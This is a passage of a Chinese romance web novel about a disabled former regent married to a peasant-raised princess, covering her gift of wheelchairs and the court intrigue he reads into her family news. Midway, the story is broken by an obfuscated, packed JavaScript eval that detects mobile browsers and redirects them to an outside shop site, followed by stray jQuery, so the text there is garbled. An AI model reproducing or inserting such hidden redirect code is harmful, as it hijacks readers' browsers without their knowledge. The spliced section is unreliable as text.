像裴怀彻这样双腿落下残疾,又自尊心颇高的人,往往最忌讳的,便是旁人将他的腿疾明晃晃摆到台面上说。
可幸也不幸,照料他养伤,又陪伴他熬过漫长休养阶段的人,是翠花。
自始至终,他家这心性纯直的小娘子,都没想过要对他双腿废掉一事加以遮掩。
当他在她那方土榻上悠悠转醒,便听她直截了当地宣判了他的伤势:“你醒了?知道你疼,但别乱动,你身上好多伤,越动越疼……哦对,你大概也动不了,你两条腿伤得最厉害,好几处骨头都戳出来了,哪怕以后养好了,也很难再走路了。”
后来他入赘给她,昔日马背上驰骋疆场的摄政王爷,不得不终日蜷于方寸床榻间,认了余生都要拖着这双废腿苟延残喘的命,可对待他这个新婚夫君,她依旧言行无忌。
譬如嬉闹时,她会把他要拿的物件高高举起,恶作剧似的激他:“有本事就站起来拿呀!”
又譬如拌嘴时,她一旦说不过他就会一溜烟地跑远,知他追不上,便站在远处冲他吐舌头:“反正你抓不到我,不讲理就不讲理。”
甚至她后知后觉地意识到他会在意,反倒愣住了,半晌沉吟,才轻轻勾住他的小手指道:“可你的腿就是不会好了呀,总不能为一桩改变不了的事,就闷闷不乐一辈子吧?”
裴怀彻提起乡亲邻里间那些毫不避讳的闲话:“有人说你是到了年纪,却迟迟等不来媒人上门,怕自己做成老姑娘,才连我这个终日只能瘫在床上的残废都不挑。”
在他还是权倾朝野的摄政王时,是从未动过娶妻念头的。
世人皆道他狼子野心,他却打心底里就没想过篡权夺位,而既打算有朝一日归政于小皇帝,他便不愿多生枝节,再给自己徒添一门外戚。
毕竟他只能管好自己的心,却难保攀上他的氏族会不会甘心假以时日便随他退出权力中心。
更加之终日埋首国事,儿女情长于他本就无心他顾。
可昔日无心,不意味着如今半推半就地结了亲事,就能以一切非他本愿为由,任凭这个已与他有了肌肤之亲的小娘子养他一辈子,还因招了他这个残废赘婿而受人指摘。
翠花却浑不在意地笑起来,杏核眼弯弯:“他们又没说错,我若家境好些,有爹娘兄弟撑腰,便是招赘,也不会招你。”
裴怀彻从前是立于整个大渊权势之巅的男人,又文韬武略,还生了张颇为俊美出众的脸,自是不乏名门贵女投怀送抱,他通通懒得理会罢了。
却万万不曾想,自己有朝一日得以娶妻,竟会被自家娘子如此直白地“嫌弃”。
他心头刚漫起一丝恼火涩意,她却猝不及防地凑近,温软的唇如蜻蜓点水,轻轻啄在他的嘴角。
她看着他,眼神清亮,坦荡得让人根本生不起她的气来:“可就像你的腿不会好一样,我也只是个无依无靠的穷丫头呀!所以能招赘到你,我已经特别满足欢喜了,你也想开些,你只是腿不能走了,却多了个漂亮又能干的娘子呢!”
她的本意大抵是劝他知足,奈何经她口中一说,裴怀彻只觉本就酸涩的心头,又被不轻不重地杵了一下。
至于后来为何还是渐渐接受了自己双腿重残的事实,纯属是因为每回用她“安慰”,他的痛处都要连带肺管子被杵一次,时日久了,他人麻了……
今日也是如此,他早已习惯不将她那些“健步如飞”的措辞放在心上,只从容搁下乌木筷,将盛着鸡腿的碗推至她面前,眉眼间倦意浅淡:“吃了许久,鸡腿又不好落筷,为夫手疼,余下的便有劳娘子喂我了。”
由于想着次日要陪他试坐轮椅,还要推他在这偌大的公主府中好好转一转,一同用过晚膳,翠花便未在他房中久留。
裴怀彻亦无意让她继续留宿,相较自己能否因得她“偏疼”和“眷顾”而在这公主府中多受到一些尊敬和优待,他更在意下人们会如何看待她这位公主。
一个夜夜沉溺于与残疾面首缠绵的公主,落在旁人眼中,总归是失了体统,上不得台面。
情之一字,不知何所起,却一往而深。
正如翠花所说,他们最初或许都未将彼此视作情意深重的良配,但两年光景的相濡以沫,那些细碎光阴里积攒下的点滴,早已让他们在对方心中成了无可替代的存在。
翠花回到自己寝殿,想着为裴怀彻备下的惊喜,心下安然,一夜好眠。
翌日,天光未亮透,她便醒了。
恰逢宝钿送来裁缝新改好的夏装,她一眼相中了其中那件粉底绣浅绿缠枝花纹的,又唤宝钿为她细细梳妆。
铜镜中,随着宝钿灵巧的双手翻飞,云鬓渐成,珠翠轻点,镜中的人儿愈发显得明艳不可方物。
翠花端详片刻,由衷赞道:“在宫里住了几日,还是觉得你的手最巧,母皇临时指来的宫女,梳的头总不及你梳的称我心意。”
宝钿抿唇一笑,将一枚翠珠发簪稳稳插入她髻间:“公主谬赞了,是您天生丽质,怎么打扮都是好看的。”
翠花似是随口提起:“我听四妹妹和五妹妹说,像你这样贴身伺候的大丫鬟,月钱都是寻常丫鬟的两三倍,咱们府里也是这般规矩吗?”
宝钿恭敬回话:“府中确有类似成例,不过奴婢只是随公主入京,伺候您的时间较久而已,还算不得您真正的贴身大丫鬟。”
她原是伺候女皇的宫人,因沉稳机敏,忠心可靠,才有幸被选派随柳清姿等侍卫官一同接迎公主回宫。
这固然是给了她近水楼台的先机,但往后能不能真正坐上大丫鬟的位置,终究要看她是不是称公主的意。
翠花点点头,语气温和笃定:“那从今日起,你便是了,待会儿我去同狄管家说,自下月,你的月钱按大丫鬟的份例来。”
宝钿即刻屈膝行礼:“奴婢谢公主恩典,日后定当竭心尽力,伺候好公主。”
翠花伸手虚扶她起来,笑容真诚:“你已经伺候得很好了,我长在乡野,许多规矩都不懂,我相公告诉我,身边需有个能信得过的人时时提点,往后还要你多费心。”
这便是明白告诉她,她不只要和自己一条心,更要和自家相公一条心的意思,而只要她忠心不二,他们就绝不会亏待她。
翠花出身民间,自然不曾学过什么御下之术。
裴怀彻心知无法一夕之间将她教得滴水不漏,索性化繁为简,只替她留意府中哪些人可信可用,再告诉她:若这些人行事妥帖,令她舒心,除了夸赞赏赐之外,还可顺势提出下一番期许,这叫恩威并施。
翠花默默记下,心里却转出一个念头,恩威既是好东西,那么总不能她一人独享,于是她现学现卖,自作主张地也照搬了一套在裴怀彻身上。
在宝钿那儿试水之后,翠花面对公主府的老管家狄信,也如法炮制。
见他不仅将购置轮椅一事办得妥当,还唯恐摔到裴怀彻,先细心命人试推几轮,确认安稳了才送入院子,她亦语气真挚地称赞了他一番思虑周全。
因而这一日清晨,当裴怀彻的房门被轻轻推开,他抬眼所见便不只是他置身晨光中笑眼盈盈的小娘子,还有她身后的几名下人遵照她吩咐,抬进来的三把轮椅。
她就那么俏生生地立在熹微里,云鬓轻挽,轻拢慢拈地插着一支别致翠珠簪,明明是清丽脱俗的容貌,偏那眉眼间又流转着溢于言表的得意与期待,顾盼间灵动生辉,似碧水映春桃,娇憨狡黠至极。
狄信办事周到,早备好木板垫在门槛两侧,方便轮椅进出。
而待一切布置妥当,他又识趣地领着众人退下,将房间留给他们二人再说体己话。
翠花弯着眼凑近,语带雀跃:“你看,昨日你乖乖吃了鸡腿,今天我不就要带着你‘健步如飞’了吗?”
裴怀彻何等敏锐的人,早在昨夜共膳时,他便从她时不时掩唇偷笑的模样里,瞧出她必是在悄悄筹划着什么能哄他开心的事。
只是万万没想到,她打算送予他的惊喜竟是轮椅。
他本来早已认命要一辈子困于方寸院落中,此刻着实被这突如其来的心意熨帖得心头一暖。
不由得唇线微松,昨夜那声几不可闻的叹息,终归化作了今夕唇角淡而又淡的笑意。
翠花见他神色缓和,愈发欣喜:“我让厨房把早膳摆去花园里了,你在轮椅中选一把,我推你去。”
裴怀彻从善如流:“藤条的吧。”
藤条轮椅虽较实木的颠簸一些,但自重也要轻上许多,他在入府后曾问狄管家要来府邸图纸瞧过一眼,花园离此处不近,他可不愿她饥肠辘辘地费力推车。
翠花回府
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239383|197141||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不过三日,头一日因为收了卫江冉的簪子与他闹了不快,次日又苦思冥想要如何哄他回心,也是直至此时,才得以细细打量这座属于她的府邸。
入宫八日,她虽见识过女皇娘亲的御花园,也小住过皇太女姐姐的东宫偏殿,可那些终究是别人的地界,自然不及漫步在自己的府邸中来得自在踏实。
她推着他沿长廊小径缓缓而行,一路絮絮叨叨,将憋了两日的话尽数倾倒。
“相公我和你说,我现在不仅有了娘亲,还多了四个兄弟姐妹呢,虽然我这次进宫,大姐和三弟都不在宫中,所以没能见到。”
“母皇真的待我极好,柳大人说,我三弟去年受封开府,不仅府邸还不及我这边一半大,位置也没有我的好,在城西北角……我想定是因为太远,他来回跑一趟怪费劲的,母皇才没召他回来与我相认。”
“不过我见过我两个妹妹了,没有我和皇太女姐姐那么像母皇,但也是美人胚子,明明是一胎双生,长得一模一样,性子却一静一动,完全不会叫人认错。”
“说起来还是五妹妹告诉的我,湘京城中有木具铺售卖轮椅,别看她才十二岁,经商做生意却特别厉害,自己盘了好多店面,也对城中各宗商铺了如指掌。”
“对了,你猜他们的爹送了我什么作见面礼?是一串佛珠!母皇说,我这位后爹原本是个和尚,那年夏至她去寺中祈福,抬目一瞧,就见那随主持做法事的小和尚好生俊美,祈完福便直接将人带回宫了。”
“我觉着我头一回见你就走不动道,大抵也是随了根……咦?你的脸色怎么又不好了?这么听不得我夸别的男人好看?吃我姐夫的醋就罢了,那可是我娘亲给我找的后爹!”
她说得兴致勃勃,直至将裴怀彻推至花园中的石桌旁,又俯身将他的轮椅固定好,才发觉他方才有所缓和的面色再次沉了下来。
其实关于她是否会如他那皇侄一般,终有一日被皇权欲念蚀坏了心,裴怀彻昨夜已想通几分。
他过去不曾争过皇位,只因感念他皇兄曾在杀尽其他兄弟后留下他一命,又全他母妃一个善终,为此整整十年恪守本分,扶幼主坐稳皇位,稳大渊国泰民安。
可最终却只换来了叔侄离心,他殚精竭虑打下的基业,也不出两年就被那不争气的皇侄败去大半,甚至不得不靠给他追帝位,来震慑虎视眈眈的内外势力。
而今如出一辙的情势仿佛就要重演,他也依旧割舍不下那份至亲至爱的七情六欲,那么既然断不掉又不甘重蹈覆辙,他是不是也可以去争一次?
为她争来一方安宁,也为自己……争来她的一世倾心。
更何况她这会儿还满心满眼皆是他这个相公,若是他先自暴自弃地退缩了,那无异于也是他先做了负心人。
晨起见她推来轮椅的那一瞬,笼罩于他身上的阴霾本已被她眼中的光华驱散殆尽。
不料这份如释重负居然尚未续满一炷香的工夫,旋即便因她后续的话语渐渐冷却。
她受到女皇宠爱或许不假,但她三弟的府邸不及她的一半大,又被远置城隅,无疑说明作为兄弟姐妹中的唯一位皇子,他反倒是极不受女皇喜欢的一个。
而女皇千里迢迢寻回翠花兹事中大,他却始终不入宫与二姐相认,难道不是她乍然回宫,就遭了弟弟眼红嫉恨的可能性更大?
再说她五妹擅长商贾之事,对城中各色商铺数若家珍,她竟问询后直接差人去了她五妹推荐的铺子里购置轮椅,想来只要她五妹稍微好信儿,她疼爱有加的通房面首是个残废一事,就瞒不过对方。
还有那位赠她佛珠,以和尚之身被女皇收入后宫的继任男后……
他早有耳闻,梁国女皇的后宫充盈,此人不仅能脱颖而出继稳皇后位置,更叫女皇在翠花之后只生了他的孩子,这般手段,又岂会只是个淡泊尘事的还俗僧人?
裴怀彻只是听她粗略道来,便已深觉其中暗流涌动,只想叹这天家的富贵,果然到了哪里都不存在什么太平。
所以将他家小娘子放之宫中是缺了多少心眼,那暗藏机锋的九重宫阙落到她口中,竟成了这般其乐融融,兄友弟恭的模样?
还他为何变了脸色……他感慨一下自己的劳碌命不行吗,仅仅歇了两年,他又要拉扯“孩子”,与天与地与人斗,“其乐无穷”了。